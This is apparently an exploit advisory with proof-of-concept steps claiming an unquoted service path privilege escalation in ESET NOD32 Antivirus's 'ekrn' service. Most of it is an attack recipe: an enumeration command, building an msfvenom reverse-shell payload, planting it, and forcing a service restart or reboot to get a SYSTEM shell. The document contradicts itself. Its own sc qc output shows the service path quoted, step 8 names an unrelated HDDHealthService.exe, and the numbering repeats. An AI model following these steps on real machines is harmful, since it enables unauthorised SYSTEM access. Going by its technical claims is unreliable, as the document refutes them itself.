ESET NOD32 Antivirus version 18.0.12.0 suffers from an unquoted service path vulnerability.
d48a31f2b811f4e6332d799099fcdee648d31c4c59eca77224f4eb7f01c7f161
# Exploit Title: ESET NOD32 Antivirus 18.0.12.0 - "ESET Service" Unquoted
Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Exploit Date: 2024-11-02
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Vendor : https://www.eset.com
# Version : 18.0.12.0
# Tested on OS: Microsoft Windows 10 pro x64
About Unquoted Service Path :
==============================
When a service is created whose executable path contains spaces and isn't
enclosed within quotes, leads to a vulnerability known as Unquoted Service
Path which allows a user to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level
which most of the time it is).
Description:
==============================
ESET NOD32 Antivirus installs a service with an unquoted service path.
To properly exploit this vulnerability, the local attacker must insert an
executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with
elevated privileges.
# PoC
===========
1. Open CMD and check for the vulnerability by typing [ wmic service get
name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v
"c:\windows\\" | findstr /i /v """ ]
2. The vulnerable service would show up.
3. Check the service permissions by typing [ sc qc "ekrn" ]
4. The command would return..
C:\Users\Ci3c0>sc qc ekrn
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ekrn
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\ESET\ESET Security\ekrn.exe"
LOAD_ORDER_GROUP : Base
TAG : 0
DISPLAY_NAME : ESET Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
5. This concludes that the service is running as SYSTEM.
6. Now create a payload with msfvenom or other tools and name it to
ekrn.exe.
7. Make sure you have write permissions to "C:\Program Files\ESET\ESET
Security" directory.
8. Provided that you have right permissions, drop the HDDHealthService.exe
executable you created into the "C:\Program Files\ESET\ESET Security"
directory.
9. Start a listener.
9. Now restart the ekrn service by giving coommand [ sc stop ekrn ]
followed by [ sc start ekrn ]
9.1 If you cannot stop and start the service, since the service is of type
"AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ]
and get the shell when the service starts automatically.
10. Got shell.
During my testing :
Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o ekrn.exe
# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained
herein and accepts no responsibility for any damage caused by the use or
misuse of this information.
The author prohibits any malicious use of security related information or
exploits by the author or elsewhere.